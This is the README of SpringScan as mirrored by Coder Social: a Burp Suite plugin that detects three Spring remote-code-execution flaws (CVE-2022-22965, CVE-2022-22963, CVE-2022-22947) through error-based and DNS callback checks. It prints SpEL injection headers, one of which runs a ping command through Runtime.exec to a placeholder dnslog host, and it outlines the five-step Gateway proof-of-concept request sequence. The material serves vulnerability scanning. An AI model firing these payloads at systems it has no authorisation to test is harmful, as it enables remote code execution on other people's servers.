Coder Social home page Coder Social logo

springscan's Introduction

SpringScan Burp 检测插件

支持检测漏洞

  • Spring Core RCE (CVE-2022-22965)
  • Spring Cloud Function SpEL RCE (CVE-2022-22963)
  • Spring Cloud GateWay SPEL RCE (CVE-2022-22947)

回连平台

  • Dnglog
  • BurpCollaboratorClient
  • Ceye
  • Digpm (默认)
  • 支持自定义回连平台

CVE-2022-22965 检测方法

利用条件

  • JDK9及其以上版本;

  • 使⽤了Spring-beans包;

  • 使⽤了Spring参数绑定,参数绑定使⽤的是⾮基本参数类型,如POJO ;

  • 使用Tomcat部署,且日志记录功能开启(默认开启)

因为这个洞上传shell还需要准确的web路径(默认在webapps\ROOT),写ssh和计划任务也需要root权限。实战中用exp去检测漏洞不太现实,所以思路转变到使用其他方法去检测漏洞的存在性。主要通过下面两种方式检测:

  • 报错检测
  • 回连检测(BurpCollaboratorClient/Dnglos/Ceye)

详细原理 ➡️ https://www.t00ls.cc/articles-65348.html

检测置信度:

回连检测 > 报错检测

报错检测误报率较大(默认关闭),可能存在漏洞但不能保证JDK版本大于等于9,可以及时捕捉到不出网的漏洞;回连检测准确率高,不适用于不出网环境。 推荐在内网的环境只开启报错检测,在公网环境开报错检测和回连检测。

CVE-2022-22963 检测方法

利用条件

  • 默认路由/functionRouter存在SpEL表达式注入

两种检测方法:

  • 通过Java自带InetAddres库:spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("xxx.dnslog.cn")回连探测(可绕过WAF拦截命令执行进行漏洞探测)
  • 通过执行ping命令:spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping xxx.dnslog.cn")回连探测
  • 会扫描当前URI、以及当前URI拼接默认路由/functionRouter进行漏洞探测。

CVE-2022-22947 检测方法

  • 利用条件

该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

检测方法:

  • 首先随机访问一个不存在的路径,根据特征Whitelabel Error Page判断是否是Spring框架;是则打POC,分五个请求:包含恶意SpEL表达式的路由 -> 刷新路由 -> 访问添加的路由查看RCE结果 -> 删除路由 -> 刷新路由

插件情况

报错检测 回连检测 自带检测
Spring Core RCE Spring Core RCE Spring Cloud GateWay SPEL RCE
x Spring Cloud Function SpEL RCE x

编译

如需编译其他JDK版本,可参考如下方法编译jar包:

image-20220409120135726

image-20220409120218010

image-20220409120315324

image-20220409120455863

截图

加载插件成功

image-20220409120649662

漏洞检测情况

image-20220411234911184

image-20220411234930710

image-20220411234948718

报错检测情况

image-20220425233957353

插件设置,检测方法默认全开启,回连平台默认Dig.pm(推荐)

image-20220409120720309

image-20220413012818703

target 模块中可以看到漏洞详情

image-20220409124402852

免责声明

本工具仅作为安全研究交流,请勿用于非法用途。如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,本人将不承担任何法律及连带责任。

springscan's People

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.